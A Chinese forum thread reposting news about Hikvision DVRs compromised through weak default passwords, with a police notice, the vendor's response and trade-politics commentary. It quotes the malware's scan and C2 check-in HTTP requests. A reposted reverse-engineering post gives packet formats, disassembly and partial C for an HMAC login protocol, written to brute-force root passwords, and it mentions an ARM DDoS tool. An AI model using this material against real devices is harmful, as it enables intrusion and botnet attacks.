发新话题
打印

海康威视录像机(DVR)被用于发动网络攻击和比特币挖矿

海康威视录像机(DVR)被用于发动网络攻击和比特币挖矿


上周安全人员通过一份报告得知,海康威视(Hikvision)的数字录像机(DVR)扫描了他们设立的蜜罐,这些数字录像机原本是用于储存安全探头的视频,但由于弱密码(12345)而被感染了病毒,变成了僵尸网络的一部分。其被用于扫描存在漏洞的台湾群晖磁盘站(Synology Disk Stations)。此外,数字录像机还被安装了比特币挖矿程序。
值得注意的是,录像机感染的病毒是ARM二进制程序,显然病毒是专门针对ARM设备而不是x86 Linux服务器。
恶意病毒发出的HTTP请求
GET /webman/info.cgi?host= HTTP/1.0Host: [IP Address of the Target]:5000User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Content-Type: application/x-www-form-urlencodedContent-Length: 0然后病毒会传送版本信息至162.219.57.8
GET /k.php?h=%lu HTTP/1.0Host: 162.219.57.8User-Agent: BallsackConnection: close原文信息


原文:
http://www.freebuf.com/news/30814.html

TOP

江苏公安厅:海康威视监控设备有隐患 部分设备已经被境外IP地址控制

江苏省公安厅27日中午发布的特急通知称,海康威视生产的监控设备存在严重安全隐患,部分设备已经被境外IP地址控制,要求各地立即进行全面清查,并开展安全加固,消除安全漏洞。对此,海康威视相关人员表示,这是由于客户对初始密码未改导致的安全漏洞。
这份名为“关于立即对全省海康威视监控设备进行全面清查和安全加固的通知”的文件抬头为“江苏省公安厅”。
文件称,近期,江苏省各级公安机关使用的海康威视监控设备,“存在严重安全隐患”,“部分设备已经被境外IP地址控制”。据此,文件要求,“各地对使用的海康威视设备进行全面清查,并开展安全加固”。
上述文件的签批人为“赵明”。公开资料显示,赵明为江苏省公安厅科技处处长;科技处负责对社会公共安全行业、技术防范产品进行监督和管理。

海康威视是国内最大的综合安防监控企业

海康威视是国内最大的综合安防监控企业,其市值逾1200亿人民币,为当之无愧的安防产业龙头。据海康威视官方网站消息,该公司2014年度实现营业总收入172.33亿元,实现利润总额52.06亿元。2011-2013年间,连续蝉联全球视频监控企业第1位;2013年名列全球监控摄像机第1位,NVR第1位,DVR第1位,VMS平台管理软件第3位;2013年名列《A&S》全球安防50强第4位,中国第1位。
公安系统是海康威视的重要客户,其自称“公安视频建设和应用的先进者和探索者”。海康威视具有“平安城市”、“平安乡镇”等多套解决方案。2010年的招股说明书显示,海康威视参与建设的项目包括青岛市公安局的“平安城市”、嘉兴的城市监控、义乌交警动态取证、郑州的“平安城市”等。
观察者网查询,2015年1月21日,海康威视成功中标广西森林公安局监管联网平台;2015年1月6日,中标贵阳市公安交通管理局贵阳市高清视频监控平台二期项目品目一;2014年11月27日,海康威视刚刚中标福建福安市公安局监控设备和办公自动化设备采购项目……此外,该公司还与中国刑事警察学院、公安部天津消防研究所等单位签署了合作协议。在不久前召开的首届世界互联网大会上,海康威视负责了大会的安保监控工作。

不久前召开的首届世界互联网大会上,海康威视负责了大会的安保监控工作

中国证券网记者向公司求证时,海康威视相关人员表示,是由于客户对初始密码未改导致的安全漏洞。
海康威视董事会秘书郑一波在接受《第一财经日报》记者采访时也表示,“网上传播的消息基本属实,其实我们的设备在公网上太多,很多用户没有更改设备初始密码,这样容易遭到攻击。”
一位业内人士解释说,这个问题很像兴奋剂检测,测验手段永远落后于研发和服用手段,不仅仅是海康,国内其他类似的公司产品或也存在安全隐患。
另据报道互联网硬件行业新闻的雷锋网报道,海康威视副总裁、萤石CEO蒋海青告诉雷锋网,安全隐患是因为用户忘记改缺省密码,这件事情稍后会有具体公告。另一位海康威视高层称,此事已经处理了,他表示没有媒体标题那么吓人。
忘记改缺省密码,是监控设备最常见的安全隐患。和家用路由器一样,一般监控设备都有个后台管理系统,每家公司生产的设备,缺省的账号密码都相同。如果这个密码没有更改,则任何人都可以登录进去,控制系统。

网上流传的江苏省公安厅文件

有技术人士分析称,这次事故很可能是黑客进入江苏省公安体系内网,而相关运营人员并未修改缺省密码,所以才造成“部分设备被境外IP控制”的后果。业内皆知,海康威视绝大多数设备的缺省密码均为“1****”。
不过雷锋网了解到,海康威视此前亦曝光过多个漏洞,并有不少是弱密码漏洞、远程控制漏洞。第三方漏洞平台乌云显示,海康威视2015年已被提交4个漏洞;360旗下补天平台上,2015年有2个,均处于等待修复状态。
有分析人士指出,上述江苏省公安厅发布的文件的确存在,目前该文件已下发各地基层。从目前情况来看,问题可能出在软件方面。安防芯片现在因为涉密的缘 由,使用的进口零部件已经较少,而使用华为的居多。软件主要则是从海思和华为两家企业购入。海康威视在海思基础解决方案上自行开发模块。此次问题,有可能 是海康威视自身的问题概率较大,极有可能其它程序脚本问题。与此同时,业内对海康威视积怨已久,一则因其产品链长,问题较多,二则营销上大小通吃。“目前 矛头指向海康,但安防广泛应用于政府项目,后面估计要各个厂家都做测试。此事爆出可能并不单纯。”

TOP

奥巴马内阁要求中国取消银行业信息安全新规

中美网络及信息安全的较量,逐渐从暗战变成明战。“从很多方面来看,中国似乎依然掌握着主动。” 《纽约时报》在今天刊发的报道中发出感慨。新华社主办的《参考消息》同一天转引《华尔街日报》透露的消息,包括国务卿克里在内的美国内阁四名成员,曾联名致信中国官员,抗议中国银行业加强信息安全的新规,并且,竟要求中国政府取消限制,以便外资科技公司进入中国敏感行业。昨天,中国最大的安防监控企业被曝存在隐患,部分设备已经被境外IP地址控制,这一消息必定会让中方更加坚定地巩固网络安全防线。
据《参考消息》转引《华尔街日报》网站2月27日报道,美国贸易代表迈克尔•弗罗曼对中国最高银行业监管机构拟议的新规定提出批评,称这些规定违反了中国的贸易承诺。中国银监会的新规定要求各大银行大幅增加它所谓的安全和可控技术的使用。
弗罗曼在声明中说:“中国对银行业信息和通信技术使用的新规定直接违反了中国的一系列双边和多边贸易协定。比如,规定要求把技术转让和使用中国国内的知识产权作为市场准入的先决条件。”他说:“这些新规定不是关于安全的,这是在实施保护主义,支持中国公司。美国政府正积极努力让中国取消这些令人困扰的规定。”
美方炮轰的是中国银监会去年9月发布的《关于应用安全可控信息技术加强银行业网络安全和信息化建设的指导意见》。文件要求,从2015年起,各银行业金融机构对“安全可控”信息技术的应用以不低于15%的比例逐年增加,直至2019年达到不低于75%的总体占比。
《华尔街日报》报道称,美国官员曾致信中国相关官员,对中国拟议的新规定表示关切。这位官员说,贸易代表弗罗曼(内阁级别官员,不属于内阁正式成员——观察者网注)、美国国务卿约翰•克里、美国商业部长彭妮•普里茨克和美国财政部长雅各布•卢都在这封信上签了字。

《纽约时报》28日报道,在华盛顿,数十名美国科技业高管和行会官员聚集在内战前修建的贸易代表办公室大楼,召开了一次紧急会议。他们告诉副贸易代表,美国现在应该对北京采取强硬态度了。
“如今已经形成两大阵营的对峙,一方是充满自信的中国领导人,美国网络间谍活动的证据已经让他们警惕起来。”《纽约时报》称,另一方是由奥巴马政府和硅谷组成的一个尴尬的联盟。硅谷本身对华盛顿保持着警惕,但又垂涎于中国庞大的市场。
《纽约时报》承认:“从很多方面来看,中国似乎依然掌握着主动。中国的互联网用户是美国的两倍,中国市场在2015年全球信息科技支出中所占比例预计将达到一半。中国的产业政策让政府对经济拥有强有力的控制。中国本土的科技公司在规模和能力方面均在增长。”
不过,这并非赞美之辞,更像是“捧杀”。江苏省公安厅27日中午发布的特急通知称,海康威视生产的监控设备存在严重安全隐患,部分设备已经被境外IP地址控制,要求各地立即进行全面清查,并开展安全加固,消除安全漏洞。
海康威视是国内最大的综合安防监控企业,其市值逾1200亿人民币,为当之无愧的安防产业龙头。公安系统是海康威视的重要客户,其自称“公安视频建设和应用的先进者和探索者”。海康威视具有“平安城市”、“平安乡镇”等多套解决方案。
美国对国家安全问题谨小慎微。据《参考消息》转引路透社26日报道,中国已经连续第二年成为受美国审查交易最多的国家。
外国在美投资委员会(CFIUS)的数据显示,这个秘密机构2013年共审查了21个由中国公司或个人提出的投资项目。这占到受到审查的97项交易的约五分之一。当一家外国公司试图拥有某个可能对美国国家安全敏感的行业的所有者权益时,就会受到审查。
尽管如此,欧美企业仍试图将中国维护安全之举扭曲为“保护主义”。此前,2月14日,针对中国银监会的银行业信息安全新规,包括代表美国在华企业的“中国美国商会”在内的17个美国行业组织,致函美国政府抗议;而最近,2月25日,代表欧洲在华企业的“欧洲商业联合会”和“城市英国”等组织,也向欧盟委员会抗议,声称这些“令人担忧的”中国监管规定“可能会关上许多外国IT企业进入中国银行业IT市场的大门”。
从最近公布的另一消息来看,中国政府并未理睬外部喧嚣。路透社注意到,2012年,中国中央政府采购中心的名单上共有60款思科产品,而这一数字在2014年采购名单中骤降为零。
《齐鲁晚报》报道称,在两年的时间内,中央政府采购中心名单上的商品数量增加了2000多个,目前总数量将近5000个,但增加的这些商品几乎全部为本土品牌。而被批准的国外科技产品的数量下滑了1/3,不到1/2的安全相关产品得以幸存。
金融领域的信息安全可控,首要面对的是“IOE”三大巨头,即IBM(服务器)、甲骨文(数据库)、EMC(高端存储)的拳头产品,《中国证券报》1月30日报道介绍。
“在信息安全可控方面我们早已布局。”一家银行科技部老总向该报记者透露。他表示,目前正在使用的一些国际厂商产品出现较大问题时,往往需要从国外邀请专家解决,效率很低,自主可控是银行业必须走的一条路。

TOP

海康威视“黑天鹅”事件,安全漏洞是否成为商业竞争武器?

昨天一则被江苏省公安厅标记为“特急”的通知将著名监控产品供应商海康威视(Hikvision)推至了风口浪尖。
公安部发文清查漏洞
这则通知发布于今日11时,主题是《关于立即对全省海康威视监控设备进行全面清查和安全加固的通知》。
该通知告知江苏省各市公安局科技信息化处,近期省厅接到省互联网应急中心通报,省各级公关机关使用的海康威视监控设备存在严重安全隐患,部分设备已经被境外IP地址控制。
通知称,根据厅领导指示,请各地立即组织力量,对使用的海康威视设备进行全面清查,并开展安全加固,消除安全漏洞。


漏洞:设备初始密码过于简单
海康威视在27日晚间发布官方回应称,江苏省互联网应急中心通过网络流量监控发现的安全问题,是部分在互联网上的海康威视设备因弱口令问题(弱口令包括使用产品初始密码或其他简单密码,如123456、888888、admin等)导致被黑客攻击所致。
笔者翻阅了网上一些资料。早在去年3月,海康威视曾被国外媒体爆出其设备因默认密码是12345,而被攻击者充当比特币挖掘器的安全事件,这个事儿FreeBuf也有报道
如果事实如海康威视官方所述,那么从技术上说,这次的安全漏洞——设备初始密码过于简单,本身其实并不新鲜。
媒体报道背后

此次安全事件曝出后,我们第一时间并没有听到从安全专业角度带来的分析,反之立即听到的是来自金融媒体、证券商的报道,比如《安信证券:海康爆发“棱镜门”后最严重信息安全事故》

“棱镜门”后最严重的信息安全事故,影响深远或超乎想象。海康威视的监控产品本身作为维护国家公共安全的重要工具,遍布国家重要机构和群众生活的各个领域,以其为入口的信息包含了从国家安全机密到普通百姓日常生活隐私的各个方面。此次大量设备被发现存在安全隐患甚至被国外IP地址控制,造成的信息泄露损失和未来潜在的威胁难以估量,影响程度之大以及对政府的震撼警醒作用绝不亚于“棱镜门”
我们虽不能否定弱密码的危害性,也不能否定监控产品的敏感性,但一个简单到不能再简单的常见技术问题被放大成“棱镜门”(客户使用了系统默认密码而不修改造成隐患,其实无数网络设备都有类似问题),是否是过度解读了呢?

大连新兴产业基金投资部部长吕健中对此事的评论显得颇有“深意”:
“海康的问题麻烦了。此事重磅爆出缘由并可能并不单纯。现在可能只是冰山一角,因为产品链长,大小通吃,矛盾由小积大。在投资逻辑上属于情况最严重的一类,主线断裂。逻辑和一毁俱毁的三聚氰胺爆出的三鹿带来的整个行业影响不同,一个海康倒下,则有可能另两个竞争对手天康和地康站起来。”
当安全漏洞成为武器

从携程信用卡泄露,到前两天刚刚发生的联想官网首页被黑,近年来国内外事件层出不穷。安全事件可以引发较大的社会反响,企业的商业口碑甚至股价,已经成为不争的现实。

笔者从事安全行业已有十多年,欣喜于行业快速发展的同时,还应做到的是“不忘初心”。如何让安全问题回归本质,免于成为商业竞争的武器或弹药,是每一个安全行业从业者在当下应该思考的问题。
最后笔者想说的是:我没买海康威视股票

[作者/北京老烟枪,作者独立观点不代表本站立场,本文属FreeBuf原创奖励,未经许可禁止转载]

原文:http://www.freebuf.com/news/59610.html

TOP

逆向HMAC认证协议写爆破程序+写ARM DDOS+[求职]

标 题: 【原创】逆向HMAC认证协议写爆破程序+写ARM DDOS+[求职]
作 者: 地狱怪客
时 间: 2014-04-22,23:28:45
链 接: http://bbs.pediy.com/showthread.php?t=186870


-------------------------------------------------------------------------------------------------
本人小菜一枚,若有错误请大神们指正。
这是一个某上市公司XXX的登陆密码验证的程序,其设备覆盖全球,分析协议后可对其爆破密码....爆破root密码后可以...各种。。如果您已经知道这漏洞请希望您不要爆料..提交过2次漏洞都被无视了以后也不想再提交了。尤其是阿里某某竟然先修复了漏洞然后回复没漏洞,我都惊呆了 幸好我做了个录像作纪念,还有一个公司聊天套漏洞的。。。

了解HMAC 百度百科解释[理论这东西,我基础不好 只看理论我比较头大]:
HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。
算法表示
算法公式 : HMAC(K,M)=H(K⊕opad∣H(K⊕ipad∣M))
H 代表所采用的HASH算法(如SHA-256)
K 代表认证密码
Ko 代表HASH算法的密文
M 代表一个消息输入
B 代表H中所处理的块大小,这个大小是处理块大小,而不是输出hash的大小
如,SHA-1和SHA-256 B = 64
SHA-384和SHA-512 B = 128
L 表示hash的大小
Opad 用0x5c重复B次
Ipad 用0x36重复B次
Apad 用0x878FE1F3重复(L/4)次

认证流程
(1) 先由客户端向服务器发出一个验证请求。
(2) 服务器接到此请求后生成一个随机数并通过网络传输给客户端(此为挑战)。
(3) 客户端将收到的随机数提供给ePass,由ePass使用该随机数与存储在ePass中的密钥进行HMAC-MD5运算并得到一个结果作为认证证据传给服务器(此为响应)。
(4) 与此同时,服务器也使用该随机数与存储在服务器数据库中的该客户密钥进行HMAC-MD5运算,如果服务器的运算结果与客户端传回的响应结果相同,则认为客户端是一个合法用户

------------------------------------------------------------------
一、抓取HMAC认证协议过程的数据包代码:
1.发送IP:端口 一段16进制数据  size:84 = 0x54   [小注:1]74 73 58 72 63 73 58 59 73 39 = username 62 62 58 63 73 58 63 74 73 74 = password00 00 00 54 5A 00 00 00 00 00 00 00 00 01 00 00 04 00 28 C1 00 00 00 00 08 01 A8 C0 B8 70 F4 28 7B 6C 00 00 74 73 58 72 63 73 58 59 73 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 62 58 63 73 58 63 74 73 74 00 00 00 00 00 002.若server回复以下16进制数据 表示:是HMAC认证协议  第4位==4C固定00 00 00 4C AF 0F 00 00 00 00 00 64 04 00 28 C1 3.接收加密数据                                                  [小注:2]NjdlMzk1NmM0NGJhOTQzMTcwMjZhNjhiNzgzOGRmZDM=................4E 6A 64 6C 4D 7A 6B 31 4E 6D 4D 30 4E 47 4A 68 4F 54 51 7A 4D 54 63 77 4D 6A 5A 68 4E 6A 68 69 4E 7A 67 7A 4F 47 52 6D 5A 44 4D 3D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4.发送[账号][密码]加密数据                                 [小注:3]00 00 00 54 63 00 00 00 00 00 00 00 00 01 00 00 04 00 28 C1 00 00 00 00 08 01 A8 C0 B8 70 F4 28 7B 6C 00 00 BD 01 BA 46 68 E9 C2 AE 75 5F 81 57 E5 0F C9 DC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3D 55 46 FD B2 FE 10 A5 76 10 BD FA 4B DA 96 B15.接收数据完成验证过程加粗为固定标志代码01 04==密码正确    03 04==密码错误00 00 00 6C DA 0C 00 00 00 00 00 01 04 00 28 C1 00 00 00 6C F0 00 00 00 00 00 00 03 04 00 28 C1
这就是我逆向的这个程序的整个HMAC认证协议流程。
------------------------------------------------------------------

二、分析验证程序,肢解各个加密功能模块。
/////////////////////////////////////////////////////////////////////代码:
1.逆向第1个账号密码加密模块 -- [见小注:1]这个模块不是很难 直接用IDA F5功能就可以逆向出C源码但是核心算法处有问题需要手动修正几个地方//------------------------------------//10084B60  /$  8B5424 04     mov edx,dword ptr ss:[esp+0x4]10084B64  |.  55            push ebp10084B65  |.  56            push esi10084B66  |.  57            push edi10084B67  |.  33ED          xor ebp,ebp10084B69  |.  33FF          xor edi,edi10084B6B  |.  85D2          test edx,edx10084B6D  |.  0F84 9E000000 je XXXXXXXX.10084C1110084B73  |.  8B7424 14     mov esi,dword ptr ss:[esp+0x14]10084B77  |.  85F6          test esi,esi10084B79  |.  0F84 92000000 je XXXXXXXX.10084C1110084B7F  |.  8B4424 18     mov eax,dword ptr ss:[esp+0x18]10084B83  |.  85C0          test eax,eax10084B85  |.  0F84 86000000 je XXXXXXXX.10084C1110084B8B  |.  7E 79         jle short XXXXXXXX.10084C0610084B8D  |.  53            push ebx10084B8E  |>  8A0A          /mov cl,byte ptr ds:[edx]10084B90  |.  80F9 0D       |cmp cl,0xD10084B93  |.  74 6A         |je short XXXXXXXX.10084BFF10084B95  |.  80F9 0A       |cmp cl,0xA10084B98  |.  74 65         |je short XXXXXXXX.10084BFF10084B9A  |.  0FBEC9        |movsx ecx,cl10084B9D  |.  0FBE5A 01     |movsx ebx,byte ptr ds:[edx+0x1]10084BA1  |.  0FBE89 9C4A0A>|movsx ecx,byte ptr ds:[ecx+0x100A4A9C]10084BA8  |.  C1E1 12       |shl ecx,0x1210084BAB  |.  42            |inc edx10084BAC  |.  0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]10084BB3  |.  C1E3 0C       |shl ebx,0xC10084BB6  |.  03CB          |add ecx,ebx10084BB8  |.  42            |inc edx10084BB9  |.  8BD9          |mov ebx,ecx10084BBB  |.  C1FB 10       |sar ebx,0x1010084BBE  |.  881E          |mov byte ptr ds:[esi],bl10084BC0  |.  8A1A          |mov bl,byte ptr ds:[edx]10084BC2  |.  46            |inc esi10084BC3  |.  47            |inc edi10084BC4  |.  80FB 3D       |cmp bl,0x3D10084BC7  |.  74 31         |je short XXXXXXXX.10084BFA10084BC9  |.  0FBEDB        |movsx ebx,bl10084BCC  |.  0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]10084BD3  |.  C1E3 06       |shl ebx,0x610084BD6  |.  03CB          |add ecx,ebx10084BD8  |.  42            |inc edx10084BD9  |.  8BD9          |mov ebx,ecx10084BDB  |.  C1FB 08       |sar ebx,0x810084BDE  |.  881E          |mov byte ptr ds:[esi],bl10084BE0  |.  8A1A          |mov bl,byte ptr ds:[edx]10084BE2  |.  46            |inc esi10084BE3  |.  47            |inc edi10084BE4  |.  80FB 3D       |cmp bl,0x3D10084BE7  |.  74 11         |je short XXXXXXXX.10084BFA10084BE9  |.  0FBEDB        |movsx ebx,bl10084BEC  |.  0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]10084BF3  |.  03CB          |add ecx,ebx10084BF5  |.  42            |inc edx10084BF6  |.  880E          |mov byte ptr ds:[esi],cl10084BF8  |.  46            |inc esi10084BF9  |.  47            |inc edi10084BFA  |>  83C5 04       |add ebp,0x410084BFD  |.  EB 02         |jmp short XXXXXXXX.10084C0110084BFF  |>  42            |inc edx10084C00  |.  45            |inc ebp10084C01  |>  3BE8          |cmp ebp,eax10084C03  |.^ 7C 89         \jl short XXXXXXXX.10084B8E10084C05  |.  5B            pop ebx10084C06  |>  8BC7          mov eax,edi10084C08  |.  C606 00       mov byte ptr ds:[esi],0x010084C0B  |.  5F            pop edi10084C0C  |.  5E            pop esi10084C0D  |.  5D            pop ebp10084C0E  |.  C2 0C00       retn 0xC10084C11  |>  5F            pop edi10084C12  |.  5E            pop esi10084C13  |.  83C8 FF       or eax,-0x110084C16  |.  5D            pop ebp10084C17  \.  C2 0C00       retn 0xC#include "stdafx.h"#include <stdio.h>#include <stdlib.h>#include <windows.h>int sub_100838E0(char* a1, char *Dest, int a3){  int v3; // ecx@1  signed int v5; // eax@4  signed int v6; // edx@6  char v7; // al@7  char v8; // al@8    int ch;  v3 = 0;  *Dest = 0;  if ( !a3 )    return -1;  if ( a3 > 0 )  {    v5 = 1;    do    {      ch  = a1[v5-1];      ch = ch *v5;//v5 * (unsigned char)(a1 + v5 - 1);;      ch = ch ^v5;//v5 ^ v5 * (unsigned char)(a1 + v5 - 1);      v3 += ch;      ++v5;    }    while ( v5 - 1 < a3 );  }  sprintf(Dest, "%u", 1751873395 * v3);  v6 = 0;  if ( (signed int)(strlen(Dest) - 1) > 0 )  {    while ( 1 )    {      v7 = Dest[v6];      if ( v7 < 51 )        break;      if ( v7 < 53 )      {        v8 = v7 + 47;        goto LABEL_15;      }      if ( v7 < 55 )      {        v8 = v7 + 62;        goto LABEL_15;      }      if ( v7 < 57 )      {        v8 = v7 + 33;        goto LABEL_15;      }LABEL_16:      ++v6;      if ( v6 >= (signed int)(strlen(Dest) ) )        return 0;    }    v8 = v7 + 66;LABEL_15:    Dest[v6] = v8;    goto LABEL_16;  }  return 0;}int main(int argc, char* argv[]){  char abb[100] ={"0"};    sub_100838E0("admin",abb,5);  printf("admin¼óÃü = %s\n", abb);  sub_100838E0("12345",abb,5);  printf("12345¼óÃü = %s\n", abb);  return 0;}//------------------------------------//
运行效果:

代码:
2.逆向第2个账号密码加密模块 -- [见理论]Opad 用0x5c重复B次 Ipad 用0x36重复B次//------------------------------------//100848E0    8A8C04 C4000000 mov     cl, byte ptr [esp+eax+0xC4]      ; keys100848E7    8A5C04 18       mov     bl, byte ptr [esp+eax+0x18]      ; keys100848EB    80F1 36         xor     cl, 0x36                         ; keys ^ 0x36100848EE    80F3 5C         xor     bl, 0x5C                         ; keys ^ 0x5C100848F1    888C04 C4000000 mov     byte ptr [esp+eax+0xC4], cl      ; rekey = keys100848F8    885C04 18       mov     byte ptr [esp+eax+0x18], bl100848FC    40              inc     eax100848FD    83F8 40         cmp     eax, 0x40                        ; while(eax < 0x40)10084900  ^ 7C DE           jl      short 100848E0//------------------------------------//3.逆向第3个账号密码加密模块//------------------------------------//10084B8D    53              push    ebx10084B8E    8A0A            mov     cl, byte ptr [edx]               ; cl = ascii_keys10084B90    80F9 0D         cmp     cl, 0xD                          ; if(cl == 0x0D)  then10084B93    74 6A           je      short 10084BFF                   ;     jmp xxxx10084B95    80F9 0A         cmp     cl, 0xA                          ; if(cl == 0x0A)  then10084B98    74 65           je      short 10084BFF                   ;     jmp xxxx10084B9A    0FBEC9          movsx   ecx, cl                          ; ECX = cl10084B9D    0FBE5A 01       movsx   ebx, byte ptr [edx+0x1]          ; EBX = ascii_keys[i+2]10084BA1    0FBE89 9C4A0A10 movsx   ecx, byte ptr [ecx+0x100A4A9C]   ; EBX = ASCII加密表[ecx]10084BA8    C1E1 12         shl     ecx, 0x12                        ; ECX <<= 0X1210084BAB    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个10084BAC    0FBE9B 9C4A0A10 movsx   ebx, byte ptr [ebx+0x100A4A9C]   ; EBX = ASCII加密表[ebx]10084BB3    C1E3 0C         shl     ebx, 0xC                         ; EBX <<= 0x0C10084BB6    03CB            add     ecx, ebx                         ; ECX += EBX10084BB8    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个10084BB9    8BD9            mov     ebx, ecx                         ; EBX = ECX10084BBB    C1FB 10         sar     ebx, 0x10                        ; EBX >>= 0x1010084BBE    881E            mov     byte ptr [esi], bl               ; is_out = ("%c", EBX)10084BC0    8A1A            mov     bl, byte ptr [edx]               ; EBX = ascii_keys10084BC2    46              inc     esi10084BC3    47              inc     edi10084BC4    80FB 3D         cmp     bl, 0x3D                         ; if(EBX == 0x3D)  then10084BC7    74 31           je      short 10084BFA                   ;     jmp xxxx10084BC9    0FBEDB          movsx   ebx, bl10084BCC    0FBE9B 9C4A0A10 movsx   ebx, byte ptr [ebx+0x100A4A9C]   ; EBX = ASCII加密表[ebx]10084BD3    C1E3 06         shl     ebx, 0x6                         ; EBX <<= 0x610084BD6    03CB            add     ecx, ebx                         ; ECX += EBX10084BD8    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个10084BD9    8BD9            mov     ebx, ecx                         ; EBX = ECX10084BDB    C1FB 08         sar     ebx, 0x8                         ; EBX >>= 0x810084BDE    881E            mov     byte ptr [esi], bl               ; is_out = ("%c", bl)10084BE0    8A1A            mov     bl, byte ptr [edx]               ; bl = ascii_keys10084BE2    46              inc     esi10084BE3    47              inc     edi10084BE4    80FB 3D         cmp     bl, 0x3D                         ; if(bl == 0x3D)  then10084BE7    74 11           je      short 10084BFA                   ;     jmp xxxx10084BE9    0FBEDB          movsx   ebx, bl                          ; EBX = bl10084BEC    0FBE9B 9C4A0A10 movsx   ebx, byte ptr [ebx+0x100A4A9C]   ; EBX = ASCII加密表[ebx]10084BF3    03CB            add     ecx, ebx                         ; ECX += EBX10084BF5    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个10084BF6    880E            mov     byte ptr [esi], cl               ; is_out = ("%c", cl)10084BF8    46              inc     esi10084BF9    47              inc     edi10084BFA    83C5 04         add     ebp, 0x4                         ; ebp += 0x410084BFD    EB 02           jmp     short 10084C0110084BFF    42              inc     edx10084C00    45              inc     ebp10084C01    3BE8            cmp     ebp, eax                         ; if(EBP < EAX=0x3C=60)  then10084C03  ^ 7C 89           jl      short 10084B8E                   ;     jmp  回去继续循环~然后对反汇编写出C语言大体源码加密表 :100A4A9C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................100A4AAC  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................100A4ABC  00 00 00 00 00 00 00 00 00 00 00 3E 00 00 00 3F  ...........>...?100A4ACC  34 35 36 37 38 39 3A 3B 3C 3D 00 00 00 00 00 00  456789:;<=......100A4ADC  00 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E  ......100A4AEC  0F 10 11 12 13 14 15 16 17 18 19 00 00 00 00 00  .....100A4AFC  00 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28  . !"#$%&'(100A4B0C  29 2A 2B 2C 2D 2E 2F 30 31 32 33 00 00 00 00 00  )*+,-./0123.....for每次取4位字符  strlen(随机keys) = 44char ascii_keys[] = {"MDBkNDQ5NTdmYmU5YjZiNjE5OTQxZWE0MTNlODA5OGE="};char is_out[100]={0};int str1,str2,str3,str4;for (int i=0; 0x3C>i; i+=4){    str1 = ascii_keys;    if(0x0D == str1 || 0x0A == str1)    {        break;    }    str2 = ascii_keys[i+1];    str3 = 加密表[str1];    str2 = 加密表[str2];    str2 <<= 0x0C;    str1 += str3;    str3 <<= 0x12;    str3 = str1;    str3 >>= 0x10;    strcat(is_out, str3);    str2 = ascii_keys[i+3];    if(0x3D == str2)    {        break;    }    str2 = 加密表[str2];    str2 <<= 0x6;    str1 += str2;    str2 = str1;    str2 >>= 0x8;    strcat(is_out, atox(str2) & 0xFF);    str2 = ascii_keys[i+4];    if(0x3D == str2)    {        break;    }    str2 = 加密表[str2];    str1 += str2;    strcat(is_out, atox(str1) & 0xFF);}//------------------------------------//4.逆向第4个账号密码加密模块 -- 这个模块是变异MD5 在IDA里面F5修改一下就OK 代码实在太多太多 也曾经有人分析过类似的:武林外传登陆数据包加密算法分析[http://bbs.pediy.com/showthread.php?t=101948]//------------------------------------//
//------------------------------------//
5.接收加密数据[见小注:2]经过如上加密数据后,发送[账号][密码]加密数据[见小注:3]
6.接收数据完成验证过程,判断账号密码是否验证成功。
经过如上步骤,就完成爆破程序了,经过爆破root密码后进而可以控制设备了。。设备是ARM Linux的。以前买过ARM6410学过点..根据以前写的windows DDOS 写了个 Linux DDOS 然后交叉编译成ARM DDOS 运行测试了下还行。。。只是用于安全测试!!然后都卸载了



不要抱怨自己运气不好,机会不多,我觉得:机会、运气是自己创造的!
-------------------------------------------------------------------------------------------------

原文:http://bbs.pediy.com/showthread.php?t=186870

TOP

海康威视回复江苏公安厅通报:弱口令遭黑客攻击

昨夜,针对江苏省公安厅发文称 “海康威视监控设备存在严重安全隐患,部分设备已经被境外IP地址控制”,海康威视连夜发布说明,指出安全隐患的原因和加强方式。
海康威视声明全文如下:

海康威视针对“设备安全”的说明


致所有关心海康威视的朋友:
近日,江苏省公安厅科技信息化处接江苏省互联网应急中心通报,发文称 “海康威视监控设备存在严重安全隐患,部分设备已经被境外IP地址控制”,该文引发大量猜测和问询。
公司初步了解情况如下:江苏省互联网应急中心通过网络流量监控发现部分在互联网上的海康威视设备因弱口令问题(弱口令包括使用产品初始密码或其他简单密码,如123456、888888、admin等),被黑客攻击。江苏省公安厅因此要求各地市公安科技信息化处对所有海康威视设备进行全面清查,重点开展8位以上强口令设置,查杀病毒等工作。
针对上述事项,公司说明如下:
一、所有暴露在互联网环境下的设备都会面临黑客攻击的风险。黑客利用病毒破解设备的用户名和密码,植入脚本文件,将设备挟持为病毒源,扫描攻击其它网络设备。
二、针对弱口令风险,2014年3月海康威视通过公司官网公告等方式提醒用户修改设备初始密码。现公司再次提醒用户:
1、务必修改设备初始密码或简单密码,设置8位以上复杂密码;
2、已经或可能遭受攻击的设备,建议登陆海康威视官网或联系公司(客户服务热线400-700-5998)获取设备固件程序进行修复。
海康威视对产品的信息安全非常重视,安全加固是IT设备最常见的日常维护工作,公司安全响应中心会不定期发布产品安全公告,请广大用户关注公司官网信息。最后再次感谢所有朋友对海康威视的关注和支持!

杭州海康威视数字技术股份有限公司

2015年2月27日

TOP

中国公安摄像监视系统遭黑客袭击

一份被曝光的中国地方公安机关文件显示,遍布于各个角落的摄像头存在着巨大的安全隐患,其中一部分已经成为黑客攻击的对象。

   

